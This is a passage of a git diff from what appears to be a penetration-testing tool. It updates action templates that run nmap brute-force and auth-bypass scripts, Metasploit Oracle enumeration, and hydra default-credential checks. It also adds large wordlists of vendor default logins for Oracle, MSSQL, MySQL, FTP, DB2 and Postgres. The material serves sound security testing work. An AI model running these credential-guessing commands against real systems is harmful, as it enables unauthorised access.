mysql mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql @@ -199,7 +199,7 @@ nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns +oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle oracle-sid=Oracle SID enumeration, "msfconsole -q -n -L -x \"color false; spool [OUTPUT].txt; use auxiliary/scanner/oracle/sid_enum; set RHOSTS [IP]; run; exit -y\"", oracle-tns oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle @@ -207,7 +207,7 @@ oracle-version=Get Oracle version, "msfconsole -q -n -L -x \"color false; spool polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql +postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https,ssl,soap,http-proxy,http-alt,https-alt" @@ -270,12 +270,15 @@ snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=s snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" +ssh-default=Check for default ssh credentials, hydra -s [PORT] -C ./wordlists/ssh-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] ssh, ssh sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl,https-alt" sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp,https-alt" +telnet-default=Check for default telnet credentials, hydra -s [PORT] -C ./wordlists/telnet-betterdefaultpasslist.txt -u -t 4 -o \"[OUTPUT].txt\" -f [IP] telnet, telnet tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp theharvester=Run theharvester, theharvester -d [IP]:[PORT] -b all -n -c -t -h, dns vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc +vnc-default=Check for default VNC credentials, hydra -s [PORT] -C ./wordlists/vnc-betterdefaultpasslist.txt -u -o \"[OUTPUT].txt\" -f [IP] vnc, vnc wafw00f=Run wafw00f, wafw00f [IP]:[PORT], "https,ssl,https-alt" webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt,https-alt" whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt,https-alt" diff --git a/wordlists/db2-betterdefaultpasslist.txt b/wordlists/db2-betterdefaultpasslist.txt new file mode 100644 index 00000000..9d9c7997 --- /dev/null +++ b/wordlists/db2-betterdefaultpasslist.txt @@ -0,0 +1,8 @@ +ADONIS:BPMS +db2inst1:db2inst1 +db2inst1:db2pass +db2inst1:db2pw +db2inst1:db2password +dasusr1:dasusr1 +db2fenc1:db2fenc1 +db2admin:db2admin diff --git a/wordlists/ftp-betterdefaultpasslist.txt b/wordlists/ftp-betterdefaultpasslist.txt new file mode 100644 index 00000000..5f5f90dd --- /dev/null +++ b/wordlists/ftp-betterdefaultpasslist.txt @@ -0,0 +1,66 @@ +anonymous:anonymous +root:rootpasswd +root:12hrs37 +ftp:b1uRR3 +admin:admin +localadmin:localadmin +admin:1234 +apc:apc +admin:nas +Root:wago +Admin:wago +User:user +Guest:guest +ftp:ftp +admin:password +a:avery +admin:123456 +adtec:none +admin:admin12345 +none:dpstelecom +instrument:instrument +user:password +root:password +default:default +admin:default +nmt:1234 +admin:Janitza +supervisor:supervisor +user1:pass1 +avery:avery +IEIeMerge:eMerge +ADMIN:12345 +beijer:beijer +Admin:admin +admin:1234 +admin:1111 +root:admin +se:1234 +admin:stingray +device:apc +apc:apc +dm:ftp +dmftp:ftp +httpadmin:fhttpadmin +user:system +MELSEC:MELSEC +QNUDECPU:QNUDECPU +ftp_boot:ftp_boot +uploader:ZYPCOM +ftpuser:password +USER:USER +qbf77101:hexakisoctahedron +ntpupdate:ntpupdate +sysdiag:factorycast@schneider +wsupgrade:wsupgrade +pcfactory:pcfactory +loader:fwdownload +test:testingpw +webserver:webpages +fdrusers:sresurdf +nic2212:poiuypoiuy +user:user00 +su:ko2003wa +MayGion:maygion.com +admin:9999 +PlcmSpIp:PlcmSpIp diff --git a/wordlists/ftp-default-userpass.txt b/wordlists/ftp-default-userpass.txt deleted file mode 100644 index 31fd65ca..00000000 --- a/wordlists/ftp-default-userpass.txt +++ /dev/null @@ -1,10 +0,0 @@ -anonymous:anonymous -anonymous:sp@rta.com -admin:admin -admin:password -ftp:ftp -ftp:password -guest:guest -root:root -root:toor -test:test diff --git a/wordlists/mssql-betterdefaultpasslist.txt b/wordlists/mssql-betterdefaultpasslist.txt new file mode 100644 index 00000000..3081e368 --- /dev/null +++ b/wordlists/mssql-betterdefaultpasslist.txt @@ -0,0 +1,66 @@ +sa:sa +sa:admin +sa:superadmin +sa:password +sa:default +admin:admin +sa:RPSsql12345 +sa:$ei$micMicro +ARIS9:N'*ARIS!1dm9n#' +ADONI:BPMS +gts:opengts +sa:PracticeUser1 +sa:42Emerson42Eme +sa:sqlserver +sa:Cardio.Perfect +sa:vantage12! +admin:netxms +ADMIN:AIMS +FB:AIMS +sa:$easyWinArt4 +sa:DBA!sa@EMSDB123 +sa:V4in$ight +sa:Pass@123 +admin:trinity +LENEL:MULTIMEDIA +sa:SilkCentral12!34 +stream:stream-1 +sa:cic +cic:cic +sa:cic!23456789 +cic:cic!23456789 +sa:Administrator1 +sa:M3d!aP0rtal +sa:splendidcrm2005 +admin:gnos +sa:Dr8gedog +sa:dr8gedog +sa:Password123 +sa:DBA!sa@EMSDB123 +sa:SECAdmin1 +sa:skf_admin1 +sa:SecurityMaster08 +secure:SecurityMaster08 +sa: +wasadmin:wasadmin +maxadmin:maxadmin +mxintadm:mxintadm +maxreg:maxreg +sa:capassword +I2b2metadata:i2b2metadata +I2b2demodata:i2b2demodata +I2b2workdata:i2b2workdata +I2b2metadata2:i2b2metadata2 +I2b2demodata2:i2b2demodata2 +I2b2workdata2:i2b2workdata2 +I2b2hive:i2b2hive +mcUser:medocheck123 +aadbo:pwddbo +wwdbo:pwddbo +aaAdmin:pwAdmin +wwAdmin:wwAdmin +aaPower:pwPower +wwPower:wwPower +aaUser:pwUser +wwUser:wwUser +sa:#SAPassword! diff --git a/wordlists/mssql-default-userpass.txt b/wordlists/mssql-default-userpass.txt deleted file mode 100644 index 2be93b0f..00000000 --- a/wordlists/mssql-default-userpass.txt +++ /dev/null @@ -1,3 +0,0 @@ -sa: -sa:sa -sa:password diff --git a/wordlists/mysql-betterdefaultpasslist.txt b/wordlists/mysql-betterdefaultpasslist.txt new file mode 100644 index 00000000..193e36fe --- /dev/null +++ b/wordlists/mysql-betterdefaultpasslist.txt @@ -0,0 +1,23 @@ +root:mysql +root:root +root:chippc +admin:admin +root: +root:nagiosxi +root:usbw +cloudera:cloudera +root:cloudera +root:moves +moves:moves +root:testpw +root:p@ck3tf3nc3 +mcUser:medocheck123 +root:mktt +root:123 +dbuser:123 +asteriskuser:amp109 +asteriskuser:eLaStIx.asteriskuser.2oo7 +root:raspberry +root:openauditrootuserpassword +root:vagrant +root:123qweASD# diff --git a/wordlists/mysql-default-userpass.txt b/wordlists/mysql-default-userpass.txt deleted file mode 100644 index 15a6647a..00000000 --- a/wordlists/mysql-default-userpass.txt +++ /dev/null @@ -1,3 +0,0 @@ -root: -root:password -root:mysql diff --git a/wordlists/oracle-betterdefaultpasslist.txt b/wordlists/oracle-betterdefaultpasslist.txt new file mode 100644 index 00000000..224ea025 --- /dev/null +++ b/wordlists/oracle-betterdefaultpasslist.txt @@ -0,0 +1,716 @@ +ARISBP95:ARISBP +SYSTEM:oracle +system:Admin123@pdborcl +system:Admin123@orcl +system:Admin123 +i2db:eurekify +system:eurekify +system:password +system:netiq123 +admin02:xt4a9z +P2012DEV:p2012dev +QCONFIG:Precision +PRECISIONSPUSER:psl +PRECISIONSPMGR:psl +PRECISIONGLUSER:Precision +PRECISIONGLMGR:Precision +TRAX:trax +I2b2metadata:i2b2metadata +I2b2demodata:i2b2demodata +I2b2workdata:i2b2workdata +I2b2metadata2:i2b2metadata2 +I2b2demodata2:i2b2demodata2 +I2b2workdata2:i2b2workdata2 +I2b2hive:i2b2hive +sys:password +GardenUser:GardenUser +System:System +GardenAdmin:GardenAdmin +SuperUser:System +Sys:oracle +System:manager +SYS:werfen +SYSTEM:werfen +DBSNMP:werfen +SYSMAN:werfen +ql:ql +PPSNEPL:pharmacy +FDB_DIF:FDB_DIF123 +ORD_SERVER:ODS +WKADMIN:WKADMIN +WKUSER:WKUSER +INTERNAL:ORACLE +Administrator:Administrator +orcladmin:welcome +#INTERNAL:ORACLE +#INTERNAL:SYS_STNT +ABM:ABM +ADAMS:WOOD +ADLDEMO:ADLDEMO +ADMIN:JETSPEED +ADMIN:WELCOME +admin02:xt4a9z +ADMINISTRATOR:ADMIN +Administrator:Administrator +ADMINISTRATOR:ADMINISTRATOR +AHL:AHL +AHM:AHM +AK:AK +ALHRO:XXX +ALHRW:XXX +ALR:ALR +AMS:AMS +AMV:AMV +ANDY:SWORDFISH +ANONYMOUS: +ANONYMOUS:Anonymous +ANONYMOUS:ANONYMOUS +AP:AP +APPLMGR:APPLMGR +APPLSYS:APPLSYS +APPLSYS:APPS +APPLSYS:FND +APPLSYSPUB:APPLSYSPUB +APPLSYSPUB:FNDPUB +APPLSYSPUB:PUB +APPLYSYSPUB: +APPLYSYSPUB:D2E3EF40EE87221E +APPLYSYSPUB:FNDPUB +APPLYSYSPUB:PUB +APPS:APPS +APPS_MRC:APPS +APPUSER:APPPASSWORD +AQ:AQ +AQDEMO:AQDEMO +AQJAVA:AQJAVA +AQUSER:AQUSER +AR:AR +ARISBP95:ARISBP +ASF:ASF +ASG:ASG +ASL:ASL +ASO:ASO +ASP:ASP +AST:AST +ATM:SAMPLEATM +AUDIOUSER:AUDIOUSER +AURORA$JIS$UTILITY$: +AURORA$JIS$UTILITY$:INVALID +AURORA$JIS$UTILITY$:INVALID_ENCRYPTED_PASSWORD +AURORA$ORB$UNAUTHENTICATED: +AURORA$ORB$UNAUTHENTICATED:INVALID +AURORA$ORB$UNAUTHENTICATED:INVALID_ENCRYPTED_PASSWORD +AX:AX +AZ:AZ +BC4J:BC4J +BEN:BEN +BIC:BIC +BIL:BIL +BIM:BIM +BIS:BIS +BIV:BIV +BIX:BIX +BLAKE:PAPER +BLEWIS:BLEWIS +BOM:BOM +BRIO_ADMIN:BRIO_ADMIN +BRUGERNAVN:ADGANGSKODE +BRUKERNAVN:PASSWORD +BSC:BSC +BUG_REPORTS:BUG_REPORTS +CALVIN:HOBBES +CATALOG:CATALOG +CCT:CCT +CDEMO82:CDEMO82 +CDEMO82:CDEMO83 +CDEMO82:UNKNOWN +CDEMOCOR:CDEMOCOR +CDEMORID:CDEMORID +CDEMOUCB:CDEMOUCB +CDOUGLAS:CDOUGLAS +CE:CE +CENTRA:CENTRA +CENTRAL:CENTRAL +CIDS:CIDS +CIS:CIS +CIS:ZWERG +CISINFO:CISINFO +CISINFO:ZWERG +CLARK:CLOTH +CLKANA:. +CLKANA: +CLKRT:. +CLKRT: +CN:CN +COMPANY:COMPANY +COMPIERE:COMPIERE +CQSCHEMAUSER:PASSWORD +CQUSERDBUSER:PASSWORD +CRP:CRP +CS:CS +CSC:CSC +CSD:CSD +CSE:CSE +CSF:CSF +CSI:CSI +CSL:CSL +CSMIG:CSMIG +CSP:CSP +CSR:CSR +CSS:CSS +CTXDEMO:CTXDEMO +CTXSYS:. +CTXSYS: +CTXSYS:CHANGE_ON_INSTALL +CTXSYS:CTXSYS +CTXSYS:UNKNOWN +CUA:CUA +CUE:CUE +CUF:CUF +CUG:CUG +CUI:CUI +CUN:CUN +CUP:CUP +CUS:CUS +CZ:CZ +DATA_SCHEMA:LASKJDF098KSDAF09 +DBI:MUMBLEFRATZ +DBSNMP:DBSNMP +DBSNMP:werfen +DBVISION:DBVISION +DCM:. +DCM: +DDIC:199220706 +DEMO:DEMO +DEMO8:DEMO8 +DEMO9:DEMO9 +DES:DES +DES2K:DES2K +DEV2000_DEMOS:DEV2000_DEMOS +DIANE:PASSWO1 +DIP:DIP +DISCOVERER_ADMIN:DISCOVERER_ADMIN +DISCOVERER5:. +DISCOVERER5: +DMSYS:DMSYS +DPF:DPFPASS +DSGATEWAY:. +DSGATEWAY: +DSGATEWAY:DSGATEWAY +DSSYS:DSSYS +DTSP:DTSP +EAA:EAA +EAM:EAM +EARLYWATCH:SUPPORT +EAST:EAST +EC:EC +ECX:ECX +EJB:EJB +EJSADMIN:EJSADMIN +EJSADMIN:EJSADMIN_PASSWORD +EMP:EMP +ENG:ENG +ENI:ENI +ESTOREUSER:ESTORE +EVENT:EVENT +EVM:EVM +EXAMPLE:EXAMPLE +EXFSYS:EXFSYS +EXTDEMO:EXTDEMO +EXTDEMO2:EXTDEMO2 +FA:FA +FDB_DIF:FDB_DIF123 +FEM:FEM +FII:FII +FINANCE:FINANCE +FINPROD:FINPROD +FLM:FLM +FND:FND +FOO:BAR +FPT:FPT +FRM:FRM +FROSTY:SNOWMAN +FTE:FTE +FV:FV +GardenAdmin:GardenAdmin +GardenUser:GardenUser +GL:GL +GMA:GMA +GMD:GMD +GME:GME +GMF:GMF +GMI:GMI +GML:GML +GMP:GMP +GMS:GMS +GPFD:GPFD +GPLD:GPLD +GR:GR +HADES:HADES +HCPARK:HCPARK +HLW:HLW +HR: +HR:33EBE1C63D5B7FEF +HR:CHANGE_ON_INSTALL +HR:HR +HR:UNKNOWN +HRI:HRI +HVST:HVST +HXC:HXC +HXT:HXT +I2b2demodata:i2b2demodata +I2b2demodata2:i2b2demodata2 +I2b2hive:i2b2hive +I2b2metadata:i2b2metadata +I2b2metadata2:i2b2metadata2 +I2b2workdata:i2b2workdata +I2b2workdata2:i2b2workdata2 +i2db:eurekify +IBA:IBA +IBE:IBE +IBP:IBP +IBU:IBU +IBY:IBY +ICDBOWN:ICDBOWN +ICX:ICX +IDEMO_USER:IDEMO_USER +IEB:IEB +IEC:IEC +IEM:IEM +IEO:IEO +IES:IES +IEU:IEU +IEX:IEX +IFSSYS:IFSSYS +IGC:IGC +IGF:IGF +IGI:IGI +IGS:IGS +IGW:IGW +IMAGEUSER:IMAGEUSER +IMC:IMC +IMEDIA:IMEDIA +IMT:IMT +INTERNAL:ORACLE +INTERNAL:SYS_STNT +INV:INV +IPA:IPA +IPD:IPD +IPLANET:IPLANET +ISC:ISC +ITG:ITG +JA:JA +JAKE:PASSWO4 +JE:JE +JG:JG +JILL:PASSWO2 +JL::JL: +JL:JL +JMUSER:JMUSER +JOHN:JOHN +JONES:STEEL +JTF:JTF +JTM:JTM +JTS:JTS +JWARD:AIROPLANE +KWALKER:KWALKER +L2LDEMO:L2LDEMO +LBACSYS:LBACSYS +LIBRARIAN:SHELVES +MANPROD:MANPROD +MARK:PASSWO3 +MASCARM:MANAGER +MASTER:PASSWORD +MDDATA:MDDATA +MDDEMO:MDDEMO +MDDEMO_CLERK:CLERK +MDDEMO_CLERK:MGR +MDDEMO_MGR:MDDEMO_MGR +MDDEMO_MGR:MGR +MDSYS:MDSYS +ME:ME +MFG:MFG +MGR:MGR +MGWUSER:MGWUSER +MIGRATE:MIGRATE +MILLER:MILLER +MMO2:MMO2 +MMO2:MMO3 +MMO2:UNKNOWN +MODTEST:YES +MOREAU:MOREAU +MRP:MRP +MSC:MSC +MSD:MSD +MSO:MSO +MSR:MSR +MTS_USER:MTS_PASSWORD +MTSSYS:MTSSYS +MWA:MWA +MXAGENT:MXAGENT +NAMES:NAMES +NEOTIX_SYS:NEOTIX_SYS +NNEUL:NNEULPASS +NOM_UTILISATEUR:MOT_DE_PASSE +NOME_UTILIZADOR:SENHA +NOMEUTENTE:PASSWORD +NUME_UTILIZATOR:PAROL +OAIHUB902:. +OAIHUB902: +OAS_PUBLIC: +OAS_PUBLIC:9300C0977D7DC75E +OAS_PUBLIC:OAS_PUBLIC +OCITEST:OCITEST +OCM_DB_ADMIN:. +OCM_DB_ADMIN: +OCM_DB_ADMIN:OCM_DB_ADMIN +ODM:ODM +ODM_MTR:MTRPW +ODS:ODS +ODS_SERVER:ODS_SERVER +ODSCOMMON:ODSCOMMON +OE:CHANGE_ON_INSTALL +OE:OE +OE:UNKNOWN +OEM_REPOSITORY: +OEM_REPOSITORY:1FF89109F7A16FEF +OEMADM:OEMADM +OEMREP:OEMREP +OKB:OKB +OKC:OKC +OKE:OKE +OKI:OKI +OKO:OKO +OKR:OKR +OKS:OKS +OKX:OKX +OLAPDBA:OLAPDBA +OLAPSVR:INSTANCE +OLAPSVR:OLAPSVR +OLAPSYS:MANAGER +OLAPSYS:OLAPSYS +OMWB_EMULATION:ORACLE +ONT:ONT +OO:OO +OPENSPIRIT:OPENSPIRIT +OPI:OPI +ORACACHE:. +ORACACHE: +ORACACHE:ORACACHE +ORACLE:ORACLE +ORADBA:ORADBAPASS +ORANGE: +ORANGE:3D9B7E34A4F7D4E9 +ORAPROBE:ORAPROBE +ORAREGSYS:ORAREGSYS +ORASSO:ORASSO +ORASSO_DS:ORASSO_DS +ORASSO_PA:ORASSO_PA +ORASSO_PS:ORASSO_PS +ORASSO_PUBLIC:ORASSO_PUBLIC +ORASTAT:ORASTAT +orcladmin:welcome +ORCLADMIN:WELCOME +ORD_SERVER:ODS +ORDCOMMON:ORDCOMMON +ORDPLUGINS:ORDPLUGINS +ORDSYS:ORDSYS +OSE$HTTP$ADMIN:Invalid +OSE$HTTP$ADMIN:INVALID +OSE$HTTP$ADMIN:Invalid:password +OSM:OSM +OSP22:OSP22 +OSSAQ_HOST:. +OSSAQ_HOST: +OSSAQ_PUB:. +OSSAQ_PUB: +OSSAQ_SUB:. +OSSAQ_SUB: +OTA:OTA +OUTLN:OUTLN +OWA:OWA +OWA_PUBLIC:OWA_PUBLIC +OWF_MGR:. +OWF_MGR: +OWF_MGR:OWF_MGR +OWNER:OWNER +OZF:OZF +OZP:OZP +OZS:OZS +P2012DEV:p2012dev +PA:PA +PANAMA:PANAMA +PATROL:PATROL +PAUL:PAUL +PERFSTAT:PERFSTAT +PERSTAT:PERSTAT +PJM:PJM +PLANNING:PLANNING +PLEX:PLEX +PLSQL:SUPERSECRET +PM:CHANGE_ON_INSTALL +PM:PM +PM:UNKNOWN +PMI:PMI +PN:PN +PO:PO +PO7:PO7 +PO8:PO8 +POA:POA +POM:POM +PORTAL:. +PORTAL: +PORTAL_APP:. +PORTAL_APP: +PORTAL_DEMO:. +PORTAL_DEMO: +PORTAL_DEMO:PORTAL_DEMO +PORTAL_PUBLIC:. +PORTAL_PUBLIC: +PORTAL_SSO_PS:PORTAL_SSO_PS +PORTAL30:PORTAL30 +PORTAL30:PORTAL31 +PORTAL30_ADMIN:PORTAL30_ADMIN +PORTAL30_DEMO:PORTAL30_DEMO +PORTAL30_PS:PORTAL30_PS +PORTAL30_PUBLIC:PORTAL30_PUBLIC +PORTAL30_SSO:PORTAL30_SSO +PORTAL30_SSO_ADMIN:PORTAL30_SSO_ADMIN +PORTAL30_SSO_PS:PORTAL30_SSO_PS +PORTAL30_SSO_PUBLIC:PORTAL30_SSO_PUBLIC +POS:POS +POWERCARTUSER:POWERCARTUSER +PPSNEPL:pharmacy +PRECISIONGLMGR:Precision +PRECISIONGLUSER:Precision +PRECISIONSPMGR:psl +PRECISIONSPUSER:psl +PRIMARY:PRIMARY +PSA:PSA +PSB:PSB +PSP:PSP +PUBSUB:PUBSUB +PUBSUB1:PUBSUB1 +PV:PV +QA:QA +QCONFIG:Precision +QDBA:QDBA +ql:ql +QP:QP +QS:CHANGE_ON_INSTALL +QS:QS +QS:UNKNOWN +QS_ADM:CHANGE_ON_INSTALL +QS_ADM:QS_ADM +QS_ADM:UNKNOWN +QS_CB:CHANGE_ON_INSTALL +QS_CB:QS_CB +QS_CB:UNKNOWN +QS_CBADM:CHANGE_ON_INSTALL +QS_CBADM:QS_CBADM +QS_CBADM:UNKNOWN +QS_CS:CHANGE_ON_INSTALL +QS_CS:QS_CS +QS_CS:UNKNOWN +QS_ES:CHANGE_ON_INSTALL +QS_ES:QS_ES +QS_ES:UNKNOWN +QS_OS:CHANGE_ON_INSTALL +QS_OS:QS_OS +QS_OS:UNKNOWN +QS_WS:CHANGE_ON_INSTALL +QS_WS:QS_WS +QS_WS:UNKNOWN +RE:RE +REP_MANAGER:DEMO +REP_OWNER:DEMO +REP_OWNER:REP_OWNER +REP_USER:DEMO +REPADMIN:REPADMIN +REPORTS:REPORTS +REPORTS_USER:OEM_TEMP +RG:RG +RHX:RHX +RLA:RLA +RLM:RLM +RMAIL:RMAIL +RMAN:RMAN +RRS:RRS +SAMPLE:SAMPLE +SAP:06071992 +SAP:6071992 +SAP:SAPR3 +SAPR3:SAP +SCOTT:TIGER +SCOTT:TIGGER +SDOS_ICSAP:SDOS_ICSAP +SECDEMO:SECDEMO +SERVICECONSUMER1:SERVICECONSUMER1 +SH:CHANGE_ON_INSTALL +SH:SH +SH:UNKNOWN +SI_INFORMTN_SCHEMA:SI_INFORMTN_SCHEMA +SITEMINDER:SITEMINDER +SLIDE:SLIDEPW +SPIERSON:SPIERSON +SSP:SSP +STARTER:STARTER +STRAT_USER:STRAT_PASSWD +SuperUser:System +SWPRO:SWPRO +SWUSER:SWUSER +SYMPA:SYMPA +SYS:0RACL3 +SYS:0RACL38 +SYS:0RACL38I +SYS:0RACL39 +SYS:0RACL39I +SYS:0RACLE +SYS:0RACLE8 +SYS:0RACLE8I +SYS:0RACLE9 +SYS:0RACLE9I +SYS:CHANGE_ON_INSTALL +SYS:D_SYSPW +SYS:MANAG3R +SYS:MANAGER +SYS:ORACL3 +Sys:oracle +SYS:ORACLE +SYS:ORACLE8 +SYS:ORACLE8I +SYS:ORACLE9 +SYS:ORACLE9I +sys:password +SYS:SYS +SYS:SYSPASS +SYS:werfen +SYSADM:SYSADM +SYSADMIN:. +SYSADMIN: +SYSADMIN:SYSADMIN +SYSMAN:OEM_TEMP +SYSMAN:SYSMAN +SYSMAN:werfen +SYSTEM:0RACL3 +SYSTEM:0RACL38 +SYSTEM:0RACL38I +SYSTEM:0RACL39 +SYSTEM:0RACL39I +SYSTEM:0RACLE +SYSTEM:0RACLE8 +SYSTEM:0RACLE8I +SYSTEM:0RACLE9 +SYSTEM:0RACLE9I +system:Admin123 +system:Admin123@orcl +system:Admin123@pdborcl +SYSTEM:CHANGE_ON_INSTALL +SYSTEM:D_SYSPW +SYSTEM:D_SYSTPW +system:eurekify +SYSTEM:MANAG3R +System:manager +SYSTEM:MANAGER +system:netiq123 +SYSTEM:ORACL3 +SYSTEM:oracle +SYSTEM:ORACLE +SYSTEM:ORACLE8 +SYSTEM:ORACLE8I +SYSTEM:ORACLE9 +SYSTEM:ORACLE9I +system:password +System:System +SYSTEM:SYSTEM +SYSTEM:SYSTEMPASS +SYSTEM:werfen +TAHITI:TAHITI +TALBOT:MT6CH5 +TDOS_ICSAP:TDOS_ICSAP +TEC:TECTEC +TEST:PASSWD +TEST:TEST +TEST_USER:TEST_USER +TESTPILOT:TESTPILOT +THINSAMPLE:THINSAMPLEPW +TIBCO:TIBCO +TIP37:TIP37 +TRACESVR:TRACE +TRAVEL:TRAVEL +TRAX:trax +TSDEV:TSDEV +TSUSER:TSUSER +TURBINE:TURBINE +UDDISYS:. +UDDISYS: +ULTIMATE:ULTIMATE +UM_ADMIN:UM_ADMIN +UM_CLIENT:UM_CLIENT +USER:USER +USER_NAME:PASSWORD +USER0:USER0 +USER1:USER1 +USER2:USER2 +USER3:USER3 +USER4:USER4 +USER5:USER5 +USER6:USER6 +USER7:USER7 +USER8:USER8 +USER9:USER9 +USUARIO:CLAVE +UTILITY:UTILITY +UTLBSTATU:UTLESTAT +VEA:VEA +VEH:VEH +VERTEX_LOGIN:VERTEX_LOGIN +VIDEOUSER:VIDEOUSER +VIF_DEVELOPER:VIF_DEV_PWD +VIRUSER:VIRUSER +VPD_ADMIN:AKF7D98S2 +VRR1:UNKNOWN +VRR1:VRR1 +VRR1:VRR2 +WEBCAL01:WEBCAL01 +WEBDB:WEBDB +WEBREAD:WEBREAD +WEBSYS:MANAGER +WEBUSER:YOUR_PASS +WEST:WEST +WFADMIN:WFADMIN +WH:WH +WIP:WIP +WIRELESS:. +WIRELESS: +WK_PROXY: +WK_PROXY:3F9FBD883D787341 +WK_SYS: +WK_SYS:79DF7A1BD138CF11 +WK_TEST:WK_TEST +WKADMIN:WKADMIN +WKPROXY:CHANGE_ON_INSTALL +WKPROXY:UNKNOWN +WKPROXY:WKPROXY +WKSYS:CHANGE_ON_INSTALL +WKSYS:WKSYS +WKUSER:WKUSER +WMS:WMS +WMSYS:WMSYS +WOB:WOB +WPS:WPS +WSH:WSH +WSM:WSM +WWW:WWW +WWWUSER:WWWUSER +XADEMO:XADEMO +XDB:CHANGE_ON_INSTALL +XDP:XDP +XLA:XLA +XNC:XNC +XNI:XNI +XNM:XNM +XNP:XNP +XNS:XNS +XPRT:XPRT +XTR:XTR diff --git a/wordlists/oracle-default-userpass.txt b/wordlists/oracle-default-userpass.txt deleted file mode 100644 index 124b5cf5..00000000 --- a/wordlists/oracle-default-userpass.txt +++ /dev/null @@ -1,58 +0,0 @@ -ADAMS:WOOD -ANONYMOUS:ANONYMOUS -BLAKE:PAPER -CCT:CCT -CLARK:CLOTH -CTXSYS:CTXSYS -CTXSYS:CHANGE_ON_INSTALL -DBSNMP:DBSNMP -DEMO:DEMO -DIP:DIP -DMSYS:DMSYS -EXFSYS:EXFSYS -JONES:STEEL -HR:HR -LBACSYS:LBACSYS -MDDATA:MDDATA -MDSYS:MDSYS -ODM:ODM -ODM_MTR:MTRPW -OE:OE -OLAPDBA:OLAPDBA -OLAPSVR:INSTANCE -OLAPSVR:OLAPSVR -OLAPSYS:MANAGER -OLAPSYS:OLAPSYS -ORDPLUGINS:ORDPLUGINS -ORDSERVER:ODS -ORDSYS:ORDSYS -OUTLN:OUTLN -PM:PM -QS:QS -RMAN:RMAN -SCOTT:TIGER -SCOTT:TIGGER -SH:SH -SYS:CHANGE_ON_INSTALL -SYS:INTERNAL -SYS:MANAGER -SYS:ORACLE -SYS:SYS -SYS:SYSPASS -SYS:manag3r -SYS:oracle8 -SYS:oracle9 -SYS:oracle8i -SYS:oracle9i -SYSMAN:OEM_TEMP -SYSTEM:SYSTEM -SYSTEM::CHANGE_ON_INSTALL -SYSTEM:MANAGER -TSMSYS:TSMSYS -WKADMIN:WKADMIN -WKPROXY:WKPROXY -WKSYS:WKSYS -WMSYS:WMSYS -WKUSER:WKUSER -WK_TEST:WK_TEST -XDB:CHANGE_ON_INSTALL diff --git a/wordlists/postgres-default-userpass.txt b/wordlists/postgres-betterdefaultpasslist.txt similarity index 59% rename from wordlists/postgres-default-userpass.txt rename to wordlists/postgres-betterdefaultpasslist.txt index 8aa3b0e0..753c7ff8 100644 --- a/wordlists/postgres-default-userpass.txt +++ b/wordlists/postgres-betterdefaultpasslist.txt @@ -1,6 +1,8 @@ -admin:admin -admin:password -postgres: -postgres:admin -postgres:password -postgres:postgres +dcmadmin:passw0rd +postgres:amber +postgres:postgres +postgres:password +postgres:admin +admin:admin +admin:password +postgres:123 diff --git 